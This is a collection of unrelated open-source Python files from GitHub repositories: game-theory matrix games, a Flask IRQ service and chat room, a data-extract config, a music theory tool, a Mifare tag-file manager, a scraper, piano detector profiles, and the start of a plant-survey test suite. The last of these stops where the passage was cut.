+{"seq_id":"72379699627","text":"from absl import logging  # pylint:disable=unused-import\n\nimport numpy as np\n\nfrom open_spiel.python.algorithms.adidas_utils.helpers import misc\n\n\nclass MatrixGame(object):\n  \"\"\"Matrix Game.\"\"\"\n\n  def __init__(self, pt, seed=None):\n    \"\"\"Ctor. Inits payoff tensor (players x actions x ... np.array).\n\n    Args:\n      pt: payoff tensor, np.array\n      seed: seed for random number generator, used if computing best responses\n    \"\"\"\n    if np.any(pt < 0.):\n      raise ValueError(\"Payoff tensor must contain non-negative values\")\n    self.pt = pt\n\n    self.seed = seed\n    self.random = np.random.RandomState(seed)\n\n  def num_players(self):\n    return self.pt.shape[0]\n\n  def num_strategies(self):\n    return self.pt.shape[1:]\n\n  def payoff_tensor(self):\n    return self.pt\n\n  def get_payoffs_for_strategies(self, policies):\n    \"\"\"Return vector of payoffs for all players given list of strategies.\n\n    Args:\n      policies: list of integers indexing strategies for each player\n    Returns:\n      np.array (length num players) of payoffs\n    \"\"\"\n    return self.pt[:, policies[0], policies[1]]\n\n  def best_response(self, mixed_strategy, return_exp=False):\n    \"\"\"Return best response and its superiority over the current strategy.\n\n    Args:\n      mixed_strategy: np.ndarray (distribution over strategies)\n      return_exp: bool, whether to return how much best response exploits the\n        given mixed strategy (default is False)\n    Returns:\n      br: int, index of strategy (ties split randomly)\n      exp: u(br) - u(mixed_strategy)\n    \"\"\"\n    logging.warn(\"Assumes symmetric game! Returns br for player 0.\")\n    gradient = self.pt[0].dot(mixed_strategy)\n    br = misc.argmax(self.random, gradient)\n    exp = gradient.max() - gradient.dot(mixed_strategy)\n    if return_exp:\n      return br, exp\n    else:\n      return br\n\n  def best_population_response(self, dist, policies):\n    \"\"\"Returns the best response to the current population of policies.\n\n    Args:\n      dist: np.ndarray, distribution over policies\n      policies: list of integers indexing strategies for each player\n    Returns:\n      best response, exploitability tuple (see best_response)\n    \"\"\"\n    ns = self.num_strategies()\n    mixed_strat = np.zeros(ns)\n    for pure_strat, prob in zip(policies, dist):\n      mixed_strat[pure_strat] += prob\n    return self.best_response(mixed_strat)\n\n\nclass BiasedGame(MatrixGame):\n  \"\"\"2-Player, 3-Action symmetric game with biased stochastic best responses.\"\"\"\n\n  def __init__(self, seed=None):\n    \"\"\"Ctor. Initializes payoff tensor (2 x 3 x 3 np.array).\n\n    Args:\n      seed: seed for random number generator, used if computing best responses\n    \"\"\"\n    # pylint:disable=bad-whitespace\n    pt_r = np.array([[0,  0,  0 ],\n                     [1, -2,  .5],\n                     [-2, 1,  -1]]) + 2.\n    # pylint:enable=bad-whitespace\n    pt_c = pt_r.T  # symmetric game\n    pt = np.stack((pt_r, pt_c), axis=0).astype(float)\n    pt /= pt.max()  # arbitrary design choice to upper bound entries to 1\n    super().__init__(pt, seed)\n\n\nclass PrisonersDilemma(MatrixGame):\n  \"\"\"2-Player, 2-Action symmetric prisoner's dilemma.\"\"\"\n\n  def __init__(self, seed=None):\n    \"\"\"Ctor. Initializes payoff tensor (2 x 2 x 2 np.array).\n\n    Args:\n      seed: seed for random number generator, used if computing best responses\n    \"\"\"\n    # pylint:disable=bad-whitespace\n    pt_r = np.array([[-1, -3],\n                     [0,  -2]])\n    # pylint:enable=bad-whitespace\n    # shift tensor to ensure positivity required for ATE\n    pt_r -= pt_r.min()\n    pt_c = pt_r.T  # symmetric game\n    pt = np.stack((pt_r, pt_c), axis=0).astype(float)\n    pt /= pt.max()  # arbitrary design choice to upper bound entries to 1\n    super().__init__(pt, seed)\n\n\nclass RockPaperScissors(MatrixGame):\n  \"\"\"2-Player, 3-Action symmetric RPS.\"\"\"\n\n  def __init__(self, weights=None, seed=None):\n    \"\"\"Ctor. Initializes payoff tensor (2 x 3 x 3 np.array).\n\n    Args:\n      weights: list of weights (floats) for [rock, paper, scissors]\n      seed: seed for random number generator, used if computing best responses\n    \"\"\"\n    if weights is None:\n      weights = np.ones(3)\n    r, p, s = weights\n    # pylint:disable=bad-whitespace\n    pt_r = np.array([[0, -p,  r],\n                     [p,  0, -s],\n                     [-r, s,  0]])\n    # pylint:enable=bad-whitespace\n    # shift tensor to ensure positivity required for ATE\n    pt_r -= pt_r.min()\n    pt_c = pt_r.T  # symmetric game\n    pt = np.stack((pt_r, pt_c), axis=0).astype(float)\n    super().__init__(pt, seed)\n\n\nclass SpiralGame(MatrixGame):\n  \"\"\"2-Player, 3-Action symmetric game with spiral dynamics on simplex.\"\"\"\n\n  def __init__(self, center=None, seed=None):\n    \"\"\"Ctor. Initializes payoff tensor (2 x 3 x 3 np.array).\n\n    Args:\n      center: center of cycle given in [x, y, z] Euclidean coordinates\n      seed: seed for random number generator, used if computing best responses\n    \"\"\"\n    if center is None:\n      center = np.ones(3) / 3.\n    else:\n      if not ((np.sum(center) <= 1 + 1e-8) and np.all(center >= -1e-8)):\n        raise ValueError(\"center must lie on simplex\")\n    self.center = center\n    center = center.reshape((3, 1))\n\n    # define coordinate frame for simplex; basis vectors on columns of transform\n    transform = np.array([[.5, -.5, 0], [-.5, -.5, 1], [1, 1, 1]]).T\n    transform /= np.linalg.norm(transform, axis=0)\n    transform_inv = np.linalg.inv(transform)\n\n    # canonical cycle matrix in 2-d\n    cycle = 0.1 * np.array([[0, 1, 0], [1, 0, 0], [0, 0, 0]])\n\n    # payoff tensor maps euclidean to simplex frame, applies cycle, maps back\n    pt_r = transform.dot(cycle.dot(transform_inv))\n    # subtracting off a column vector effectively offsets the vector field\n    # because [[c c c], ...] [[x], [y], [z]] = [c * (x + y + z), ...] = [c, ...]\n    pt_r -= pt_r.dot(center)\n    # shift tensor to ensure positivity required for ATE\n    if pt_r.min() < 0:\n      pt_r -= pt_r.min()\n\n    pt_c = pt_r.T  # symmetric game\n    pt = np.stack((pt_r, pt_c), axis=0).astype(float)\n    super().__init__(pt, seed)\n\n\nclass MatchingPennies(MatrixGame):\n  \"\"\"2-Player, 2-Action non-symmetric matching pennies.\"\"\"\n\n  def __init__(self, bias=1., seed=None):\n    \"\"\"Ctor. Initializes payoff tensor (2 x 2 x 2 np.array).\n\n    Args:\n      bias: float, rewards one action (bias) more than the other (1)\n      seed: seed for random number generator, used if computing best responses\n    \"\"\"\n    # pylint:disable=bad-whitespace\n    pt_r = np.array([[1,  -1],\n                     [-1, bias]])\n    # pylint:enable=bad-whitespace\n    pt_c = (-pt_r).T  # zero-sum game\n    pt = np.stack((pt_r, pt_c), axis=0).astype(float)\n    # shift tensor to ensure positivity required for ATE\n    pt -= pt.min()\n    pt /= pt.max()  # arbitrary design choice to upper bound entries to 1\n    super().__init__(pt, seed)\n\n\nclass Shapleys(MatrixGame):\n  \"\"\"2-Player, 3-Action non-symmetric Shapleys game.\"\"\"\n\n  def __init__(self, beta=1., seed=None):\n    \"\"\"Ctor. Initializes payoff tensor (2 x 2 x 2 np.array).\n\n    See Eqn 4 in https://arxiv.org/pdf/1308.4049.pdf.\n\n    Args:\n      beta: float, modifies the game so that the utilities @ Nash are now\n        u_1(Nash) = (1 + beta) / 3 and u_2(Nash) = (1 - beta) / 3\n        where Nash is the joint uniform distribution\n      seed: seed for random number generator, used if computing best responses\n    \"\"\"\n    # pylint:disable=bad-whitespace\n    pt_r = np.array([[1,    0,    beta],\n                     [beta, 1,    0],\n                     [0,    beta, 1]])\n    pt_c = np.array([[-beta,  1,    0],\n                     [0,     -beta, 1],\n                     [1,      0,   -beta]])\n    # pylint:enable=bad-whitespace\n    pt = np.stack((pt_r, pt_c), axis=0).astype(float)\n    # shift tensor to ensure positivity required for ATE\n    pt -= pt.min()\n    pt /= pt.max()  # arbitrary design choice to upper bound entries to 1\n    super().__init__(pt, seed)\n","repo_name":"deepmind/open_spiel","sub_path":"open_spiel/python/algorithms/adidas_utils/games/small.py","file_name":"small.py","file_ext":"py","file_size_in_byte":7929,"program_lang":"python","lang":"en","doc_type":"code","stars":3700,"dataset":"github-code","pt":"37"}
+{"seq_id":"72096506346","text":"import os\n\nfrom flask import Flask, jsonify, request, abort\n\nfrom irq_manager.constants import DEFAULT_DATE_TIME_FORMAT\nfrom .constants import PATH_TO_INTERRUPTS\nfrom .exceptions import UnableToStart, Http404\nfrom .interrupt_reader import InterruptReader\nfrom .models import InterruptRequest\n\napp = Flask('irq_service')\n\nclass IRQService(object):\n\n    def __init__(self, host, port):\n\n        if not os.path.exists(PATH_TO_INTERRUPTS):\n            raise UnableToStart(\"'%s' does not exist, and so this service cannot start.\" % (PATH_TO_INTERRUPTS))\n        \n        self.host = host\n        self.port = port\n\n    def response(self, data):\n\n        response = jsonify(data)\n        return response\n\n    def configure(self):\n\n        @app.route(\"/devices\")\n        def list_devices():\n            \n            devices = [d for d in InterruptRequest.objects.get_unique_devices()]\n            return self.response({\n                'devices': devices \n            })\n\n        @app.route('/cpu_count')\n        def cpu_count():\n\n            reader = InterruptReader()\n            cpu_count = reader.get_cpu_count()\n            return self.response({\n                'cpu_count': cpu_count\n            })\n\n        @app.route(\"/devices/<device>/\")\n        def device_detail(device):\n            '''\n            Returns Interrupt Details for a given device. Provide query parameters\n            'start_dt' and 'end_dt' in the format 'YYYYMMDD-HHMMSS' to filter \n            results based on the time stamps.\n            '''\n            start_dt = request.args.get('start_dt')\n            end_dt = request.args.get('end_dt')\n\n            try:\n                details = []\n                if start_dt and end_dt:\n                    for d in InterruptRequest.objects.get_irq_for_device_with_filters(device, start_dt, end_dt):\n                        details.append(d.as_dict())\n                else:\n                    for d in InterruptRequest.objects.get_irq_for_device(device):\n                        details.append(d.as_dict())\n                    \n                return self.response(details)\n            except Http404:\n                return abort(404)\n\n        @app.route(\"/devices/<device>/affinity/\", methods=['GET', 'POST'])\n        def cpu_affinity(device):\n            '''\n            Gets and Sets the CPU Affinity for the provided device.\n            '''\n            reader = InterruptReader()\n            irq = reader.get_irq_for_device(device)\n            if irq and request.method == 'POST':\n                affinity = request.form['affinity']\n                reader.set_affinity(irq, affinity)\n\n            affinity = reader.get_affinity(irq)\n            return self.response({\n                'affinity': affinity\n            })\n\n\n        return app\n\n    def run(self):\n\n        app.run(self.host, self.port)","repo_name":"davydany/irq_manager","sub_path":"src/irq_manager/server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14101053513","text":"import os; os.chdir(os.path.dirname(__file__)) if os.name == \"posix\" else None\nfrom package.common.extracth.extracthCtrl import ExtracthCtrl\nimport pandas\n\npandas.set_option(\"display.max_columns\", None)\npandas.set_option('display.max_rows', None)\npandas.set_option(\"display.width\",2000)\n\nextracthCtrl = ExtracthCtrl()\n\n\n#==================== 檔案設定 ====================\n\ntdnWorldDF = pandas.read_csv(\"file/bnb_CAGuild_table.csv\")\ntableCheck = {\n    # Transfer ALL, Not filtered\n    \"FxGuildAccount1113\":\"尚未確定(大於1M) ALL ALL None None 1\"\n    , \"FxGuildChangeNameHistory\":\"尚未確定(小於500K) ALL ALL None None 1\"\n    , \"FxGuildDeleted\":\"公會刪除情報(大於10M) ALL ALL None None 1\"\n    , \"FxGuildMessage\":\"尚未確定(0M) ALL ALL None None 1\"\n    , \"FxGuildNotice\":\"公會公告討論版(大於10M) ALL ALL None None 1\"\n    , \"FxGuildUserAccount1113\":\"尚未確定(大於10M) ALL ALL None None 1\"\n    , \"FxGuildUserQuestLog\":\"公會任務(0M) ALL ALL None None 1\"\n    , \"FxPreGuildUserAccount\":\"玩家加入公會時的第二層條件內容限制(大於10M) ALL ALL None None 1\"\n    , \"FxPreGuildUserAccount1113\":\"尚未確定(大於1M) ALL ALL None None 1\"\n    , \"GA0206\":\"尚未確定(小於500K) ALL ALL None None 1\"\n    , \"GUA0206\":\"尚未確定(小於500K) ALL ALL None None 1\"\n    , \"MemberNum1113\":\"尚未確定(小於500K) ALL ALL None None 1\"\n    , \"LogGuildCreated\": \"尚未確定(小於500K) ALL ALL None None 1\"\n    , \"LogGuildMasterChanged\": \"公會會長變更紀錄(大於1M) ALL ALL None None 1\"\n    , \"LogUserGPFailed\": \"尚未確定(大於1M) ALL ALL None None 1\"\n    , \"FxGuildQuestLog\": \"尚未確定(小於500K) ALL ALL None None 1\"\n    , \"FxGuildUserAccount\": \"公會會員情報(大於100M) ALL ALL None None 1\"\n\n    # Log file, filtered by logdate\n    , \"FxGuildBBS\": \"公會討論版(大於1G) LOG LOG datecreated datecreated 1\"\n\n    # Big file, filtered by key\n    , \"FxGuildUserDeleted\": \"尚未確定(大於100M) user_name id None None 1 bnb_extract.init_activeaccount None None\"\n    , \"FxGuildAccount\":\"公會情報(大於100M) user_name name None None 1 bnb_extract.init_activeaccount None None\"\n}\ngamename = \"bnb\"\ndbnname = \"CAGuild\"\nstartdate = \"2019-12-01\"\nenddate = None\nnoFilterNameArray= [\n    \"_bk\",\"_bak\",\"_backup\"\n    ,\"_tmp\",\"_temp\",\"temp\"\n    ,\"old\"\n    ,\"_201\",\"_202\"\n    ,\"jerry_accountlist\", \"gskillslot2_new\" , \"gskillslot3_new\"\n    ,\"gitem_140128\", \"gitem_60006351\",\n]\n\n#==================== 檔案製作 ====================\n\nobjectDF = extracthCtrl.makeExecuteCSV(gamename,dbnname,startdate,enddate,tdnWorldDF,tableCheck,noFilterNameArray)\nobjectDF.to_csv(\"file/bnb_CAGuild_extracttable.csv\", index=False, encoding=\"utf_8_sig\")\nprint(objectDF)\n\n\n\n\n","repo_name":"GISH123/GamaProjects","sub_path":"hadoopextract-master/bnb/05_05_MakeCAGuildCSV.py","file_name":"05_05_MakeCAGuildCSV.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23347473997","text":"from Music_Scales import Scales\r\nfrom Chord_Family import Chords\r\nfrom Chord import Chord_Structure\r\nimport os \r\n\r\n\r\nclass Music_Theory():\r\n    def __init__(self, author):\r\n        os.system(\"cls\")\r\n        print(\"Welcome to the Music Theory...!!!\")\r\n        print(f\"Author : {author}\")\r\n        print(\"Date : 17th July 2021\")\r\n        print()\r\n    \r\n    def Print_Scale(self):\r\n        key = input(\"Enter the key of the Scale :\")\r\n        scale_type = input(\"Enter the Scale Type :\")\r\n        scale = Scales()\r\n        result = scale.Scale(key,scale_type)\r\n        print(f\"{key} {scale_type} Scale : {result}\")\r\n    \r\n    def Print_Major_Scales(self):\r\n        scale_type = \"Major\"\r\n        scale = Scales()\r\n        for root in scale.notes:\r\n            result = scale.Scale(root,scale_type)\r\n            print(f\"{root} {scale_type} Scale : {result}\")\r\n\r\n    def Print_Minor_Scales(self):\r\n        scale_type = \"Minor\"\r\n        scale = Scales()\r\n        for root in scale.notes:\r\n            result = scale.Scale(root,scale_type)\r\n            print(f\"{root} {scale_type} Scale : {result}\")\r\n    \r\n    def Print_Chord_Family(self):\r\n        key = input(\"Enter the key of the Scale :\")\r\n        scale_type = input(\"Enter the Scale Type :\")\r\n        chords = Chords()\r\n        chords_result = chords.Chords(key,scale_type)\r\n        print(f\"{key} {scale_type} Chord Family : {chords_result}\")\r\n    \r\n    def Print_Chord(self):\r\n        key = input(\"Enter the key of the chord :\")\r\n        scale_type = input(\"Enter the Scale Type :\")\r\n        chord_type = input(\"Enter the Type of Chord :\") \r\n        chord = Chord_Structure()\r\n        chord_result = chord.Chord(key, scale_type, chord_type)\r\n        print(f\"{key} {scale_type} {chord_type} : {chord_result}\")","repo_name":"daniel-k-22/Music_Theory","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8751896985","text":"from flask import Flask, render_template, request, make_response, redirect\nfrom flask_socketio import SocketIO, join_room, leave_room, send\nimport random\nfrom string import ascii_uppercase\n\napp = Flask(__name__)\napp.secret_key = \"jadsskas\"\nsocketio = SocketIO(app)\n\nrooms = {}\n\ndef get_room_id(length):\n    code = \"\".join([random.choice(ascii_uppercase) for i in range(length)])\n    if code in rooms:\n        get_room_id(length)\n    return code\n\n\n@app.route(\"/\", methods=[\"POST\", \"GET\"])\ndef home():\n    if request.method == \"POST\":\n        name = request.form.get(\"name\")\n        code = request.form.get(\"code\")\n        join = request.form.get(\"join\", 0)\n        create = request.form.get(\"create\", 0)\n        print(\"join=\",join,\"create=\", create)\n\n        if create==0:\n            if not code:\n                return render_template(\"home.html\", error=\"Please enter a room code.\", code=code, name=name)\n            elif code not in rooms:\n                return render_template(\"home.html\", error=\"Room does not exist\", code=code, name=name)\n            room = code\n\n        elif join==0:\n            room = get_room_id(5)\n            rooms[room] = {\"members\": 0, \"messages\": []}\n        \n        resp = make_response(redirect(\"/room\"))\n        resp.set_cookie(\"name\", name)\n        resp.set_cookie(\"room\", room)\n        return resp\n\n    return render_template(\"home.html\")\n\n@app.route(\"/room\")\ndef room_func():\n    room = request.cookies.get(\"room\")\n    name = request.cookies.get(\"name\")\n    if room is None or name is None or room not in rooms:\n        return redirect('/')\n    \n    return render_template('room.html', room=room, name=name, messages=rooms[room][\"messages\"])\n\n@socketio.on(\"connect\")\ndef connect(auth):\n    room = request.cookies.get(\"room\")\n    name = request.cookies.get(\"name\")\n    if not name or not room:\n        return\n    if room not in rooms:\n        leave_room(room)\n        return\n    \n    join_room(room)\n    send({'name': name, 'message': \"has entered the room\"}, to=room)\n    rooms[room][\"members\"]+=1\n\n@socketio.on(\"message\")\ndef transmit_message(data):\n    room = request.cookies.get(\"room\")\n    name = request.cookies.get(\"name\")\n    if room in rooms:\n        content = {\n            \"name\": name,\n            \"message\": data[\"data\"]\n        }\n        send(content, to=room)\n        rooms[room][\"messages\"].append(content)\n\n@socketio.on(\"disconnect\")\ndef disconnect():\n    room = request.cookies.get(\"room\")\n    name = request.cookies.get(\"name\")\n    leave_room(room)\n\n    if room in rooms:\n        rooms[room][\"members\"]-=1\n        if rooms[room][\"members\"]<=0:\n            del rooms[room]\n    send({'name': name, 'message': \"has left the room\"}, to=room)\n\nif __name__ == \"__main__\":\n    socketio.run(app, debug=True, port=9021)","repo_name":"SauhardyaCode/Websocket-Chat","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43188857511","text":"# -*- coding: utf-8 -*-\n\"\"\"Processor for the files containing the information of the saved Mifare Classic tags.\n\nFunctions:\n    add_date_to_filename(file_path, dt)\n    get_saved_mf_tags(directory_path)\n    rename_and_move_tag_file(filename, new_directory_path)\n    delete_tag_files(files)\n\n\"\"\"\n\n\nimport datetime\nimport pathlib\n\nfrom px3_app.utils import json_processor\nfrom px3_app.globals import SAVED_MF_TAGS_DIRECTORY_PATH\n\n\ndef add_date_to_filename(file_path: pathlib.Path, dt: datetime.datetime = datetime.datetime.now()) -> pathlib.Path:\n    \"\"\"Adds date to the beginning of a filename.\n\n    Args:\n        file_path (pathlib.Path): Filename string.\n        dt (datetime.datetime): Datetime object.\n\n    Returns:\n        new_file_path (pathlib.Path): Filename with current date added to the beginning.\n\n    \"\"\"\n\n    directory_path = file_path.parent\n    filename = str(file_path.name)\n    last_character = filename[filename.index(\".\") - 1]\n    if last_character.isnumeric():\n        filename = filename[:filename.index(\".\") - 2] + filename[filename.index(\".\"):]\n    dt = datetime.datetime.now()\n    formatted_dt = dt.strftime('%Y%m%d-%H%M%S')\n    new_filename = f\"{formatted_dt}-{filename}\"\n    new_file_path = file_path.replace(directory_path / new_filename)\n    return new_file_path\n\n\ndef get_saved_mf_tags(directory_path: pathlib.PosixPath) -> list:\n    \"\"\"Returns the saved Mifare1k tags in the 'mf_tags' directory.\n\n    Args:\n        directory_path (pathlib.PosixPath): Directory path.\n\n    Returns:\n        tags_list (list): List containing the saved Mifare1k tags.\n\n    \"\"\"\n\n    if not directory_path.exists():\n        directory_path.mkdir(parents=True, exist_ok=True)\n\n    tags_list = [json_processor.json_to_mf_tag(file) for file in directory_path.iterdir()\n                 if file.name.endswith(\".json\")]\n\n    tags_list.sort(key=lambda x: x.date, reverse=True)\n\n    return tags_list\n\n\ndef rename_and_move_tag_file(file_path: pathlib.Path, new_directory_path: pathlib.Path) -> pathlib.Path:\n    \"\"\"Renames a file generated by the autopwn command and moves it to the mf_tags directory.\n\n    Args:\n        file_path (pathlib.Path): Filename string.\n        new_directory_path (pathlib.PosixPath): Directory path.\n\n    Returns:\n        new_file_path (pathlib.Path): Modified file path.\n\n    \"\"\"\n\n    new_filename = add_date_to_filename(file_path)\n    new_file_path = new_filename.replace(new_directory_path / new_filename.name)\n    return new_file_path\n\n\ndef delete_tag_files(files: dict):\n    \"\"\"Deletes the files of a Mifare1k saved tag.\n\n    Args:\n        files (dict): Dictionary containing the filenames.\n\n    \"\"\"\n\n    for file in files.values():\n        file.unlink(missing_ok=True)\n","repo_name":"javimarting/px3-app","sub_path":"px3_app/utils/file_manager.py","file_name":"file_manager.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36564996125","text":"import requests\nfrom bs4 import BeautifulSoup\nimport random\nimport re\n\n\ndef get_tpproger_random_link():\n\n    url = 'https://tproger.ru/'\n    connection_to_tpproger = requests.get(url)\n\n    soup = BeautifulSoup(connection_to_tpproger.text, features='lxml')\n\n    new_container = soup.find('div', {'class': 'columns masonry main-page'})\n    new_story = new_container.find_all('a', {'class': 'article-link'})\n    page_links_dic = []\n\n    for story_info in new_story:\n        pattern = re.compile(r'href=\"(.*)\" rel')\n        page_links_dic.append(re.findall(pattern, str(story_info))[0])\n\n    return random.choice(page_links_dic)\n\n\nprint(get_tpproger_random_link())\n\n\n\n\n\n\n\n\n","repo_name":"andlavr/PARSERS","sub_path":"parsers/tpproger/proger.py","file_name":"proger.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28833987234","text":"from typing import List, Optional\n\nimport numpy as np\n\n\nclass Profile:\n    def __init__(self, name: str,\n                 start_location: tuple = (0, 0),\n                 x_increment: float = 0,\n                 y_increment: float = 0,\n                 a: float = 1,\n                 b: float = 1,\n                 c: float = 1,\n                 brightness_threshold: int = 0,\n                 skip_to_time: float = 0,\n                 default_file_name: Optional[str] = None,\n                 zone_bounds: Optional[List] = None,\n                 mask_area: np.ndarray = None,\n                 minimal_contour_area: int = 0,\n                 calibration_delay_between_keys: float = 0,\n                 calibration_key_start_delay: float = 0,\n                 calibration_key_stop_delay: float = 0,\n                 key_points_filter_standard_deviation: List = None,\n                 contour_brightness_threshold: int = 0,\n                 key_amount_to_calibrate: int = 30,\n                 ):\n        self.key_amount_to_calibrate = key_amount_to_calibrate\n        self.name = name\n        self.start_location = start_location\n        self.x_increment = x_increment\n        self.y_increment = y_increment\n        self.a = a\n        self.b = b\n        self.c = c\n        self.brightness_threshold = brightness_threshold\n        self.default_file_name = default_file_name\n\n        self.skip_to_time = skip_to_time\n\n        self.zone_bounds: Optional[List] = zone_bounds\n        self.mask_area: Optional[np.ndarray] = mask_area\n        self.minimal_contour_area = minimal_contour_area\n        self.calibration_delay_between_keys = calibration_delay_between_keys\n        self.calibration_key_start_delay = calibration_key_start_delay\n        self.calibration_key_stop_delay = calibration_key_stop_delay\n        self.key_points_filter_standard_deviation = key_points_filter_standard_deviation \\\n            if key_points_filter_standard_deviation is not None else [0, 0]\n        self.contour_brightness_threshold = contour_brightness_threshold\n\n\ndef get_average_brightness_for(min: int, max: int) -> int:\n    return min + (max - min) // 2\n\n\nprofiles: List[Profile] = [\n    Profile(\"IMG_20200922_170508.jpg 1.0\",  # 0\n            start_location=(1390, 1571),\n            x_increment=7,\n            y_increment=35,\n            a=1.002,\n            b=1.0005,\n            c=1.00005,\n            brightness_threshold=get_average_brightness_for(412, 489),\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/resources/IMG_20200922_170508.jpg\"\n            ),\n    Profile(\"IMG_20200922_170508.jpg 2.0\",  # 1\n            start_location=(1550, 1571),\n            x_increment=13,\n            y_increment=42,\n            a=1.002,\n            b=1.0005,\n            c=1.00005,\n            brightness_threshold=get_average_brightness_for(412, 489),\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/resources/IMG_20200922_170508.jpg\"\n            ),\n    Profile(\"VID_20200922_223905.mp4 1.0\",  # 2\n            skip_to_time=7,\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/resources/VID_20200922_223905.mp4\",\n            minimal_contour_area=50,\n            zone_bounds=[[326, 542], [949, 634]],\n            mask_area=np.array([[0, 12], [612, 0], [622, 91], [16, 54]]),\n            calibration_delay_between_keys=0.0,\n            calibration_key_start_delay=0.0,\n            calibration_key_stop_delay=0.11,\n            key_points_filter_standard_deviation=[15, 15],\n            contour_brightness_threshold=60,\n            key_amount_to_calibrate=19\n            ),\n    Profile(\"VID_20200924_100646.mp4 1.0\",  # 3\n            skip_to_time=5,\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/resources/VID_20200924_100646.mp4\",\n            minimal_contour_area=50,\n            calibration_delay_between_keys=0.0,\n            calibration_key_start_delay=0.0,\n            calibration_key_stop_delay=0.0,\n            key_points_filter_standard_deviation=[15, 15],\n            contour_brightness_threshold=30,\n            ),\n    Profile(\"VID_20200924_100802.mp4 1.0\",  # 4\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/resources/VID_20200924_100802.mp4\",\n            skip_to_time=2.5,\n            zone_bounds=[[362, 552], [820, 620]],\n            mask_area=np.array([[0, 13], [440, 0], [457, 65], [16, 67]]),\n            minimal_contour_area=50,\n            calibration_delay_between_keys=0.0,\n            calibration_key_start_delay=0.0,\n            calibration_key_stop_delay=0.0,\n            key_points_filter_standard_deviation=[15, 15],\n            contour_brightness_threshold=50,\n            key_amount_to_calibrate=13,\n            ),\n    Profile(\"VID_20200924_100724.mp4 1.0\",  # 5\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/resources/VID_20200924_100724.mp4\",\n            skip_to_time=2,\n            zone_bounds=[[569, 480], [974, 570]],\n            mask_area=np.array([[0, 0], [384, 5], [404, 89], [20, 60]]),\n            minimal_contour_area=50,\n            calibration_delay_between_keys=0.0,\n            calibration_key_start_delay=0.0,\n            calibration_key_stop_delay=0.0,\n            key_points_filter_standard_deviation=[15, 15],\n            contour_brightness_threshold=30,\n            key_amount_to_calibrate=23,\n            ),\n    Profile(\"VID_20200924_100933.mp4 1.0\",  # 6\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/resources/VID_20200924_100933.mp4\",\n            skip_to_time=4,\n            zone_bounds=[[579, 416], [1228, 725]],\n            mask_area=np.array([[0, 277], [625, 0], [648, 58], [9, 308]]),\n            minimal_contour_area=30,\n            calibration_delay_between_keys=0.0,\n            calibration_key_start_delay=0.0,\n            calibration_key_stop_delay=0.0,\n            key_points_filter_standard_deviation=[15, 15],\n            contour_brightness_threshold=50,\n            key_amount_to_calibrate=26,\n            ),\n    Profile(\"Image_screenshot_24.09.2020_keypress.png 1.0\",  # 7\n            start_location=(360, 450),\n            x_increment=13,\n            y_increment=-1,\n            a=1.005,\n            b=1.000,\n            c=1.000,\n            brightness_threshold=get_average_brightness_for(220, 360),\n            default_file_name=\"/home/prive/IdeaProjects/PianoKeyDetector/Image_screenshot_24.09.2020_keypress.png\",\n            zone_bounds=[[100, 249],\n                         [1920, 705], ],\n            minimal_contour_area=50,\n            calibration_delay_between_keys=0.0,\n            calibration_key_start_delay=0.0,\n            calibration_key_stop_delay=0.0,\n            key_points_filter_standard_deviation=[60, 60],\n            contour_brightness_threshold=40,\n            ),\n]\n","repo_name":"sampie777/PianoKeyDetector","sub_path":"profiles.py","file_name":"profiles.py","file_ext":"py","file_size_in_byte":6805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26660367708","text":"import os\nimport datetime\nimport unittest\nimport json\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom app import create_app\nfrom models import setup_db, Plant, Observation, User\n\n\nclass PlantTestCase(unittest.TestCase):\n    \"\"\"This class represents the plant survey test case\"\"\"\n\n    # auth tokens needed for successful testing\n    ADMIN_ROLE_TOKEN = os.environ.get('ADMIN_ROLE_TOKEN')\n    PUBLIC_ROLE_TOKEN = os.environ.get('PUBLIC_ROLE_TOKEN')\n\n    def setUp(self):\n        \"\"\"Define test variables and initialize app.\"\"\"\n        self.app = create_app()\n        self.client = self.app.test_client\n        self.database_name = \"plant_survey_test\"\n        self.database_path = \"postgres://{}/{}\".format(\n            'localhost:5432', self.database_name)\n        setup_db(self.app, self.database_path)\n\n        # binds the app to the current context\n        with self.app.app_context():\n            self.db = SQLAlchemy()\n            self.db.init_app(self.app)\n            # create all tables\n            self.db.create_all()\n\n    def tearDown(self):\n        \"\"\"Executed after reach test\"\"\"\n        pass\n\n    # UTILITY METHODS\n\n    # creates auth header with bearer token\n    def create_auth_headers(self, token):\n        # return auth headers using token\n        return {\n            \"Authorization\": \"Bearer {}\".format(\n                token\n            )}\n\n    # creates test plant\n    def create_test_plant(self, user_id):\n\n        # create and insert new plant\n        plant = Plant(user_id=user_id,\n                      name=self.test_plant['name'],\n                      latin_name=self.test_plant['latinName'],\n                      description=self.test_plant['description'],\n                      image_link=self.test_plant['imageLink'])\n        plant.insert()\n\n        return plant.id\n\n    # creates new test observation\n    def create_test_observation(self, plant_id, user_id):\n        # create and insert new observation\n        observation = Observation(user_id=user_id,\n                                  date=self.test_observation['date'],\n                                  plant_id=plant_id,\n                                  notes=self.test_observation['notes'])\n        observation.insert()\n\n        return observation.id\n\n    # 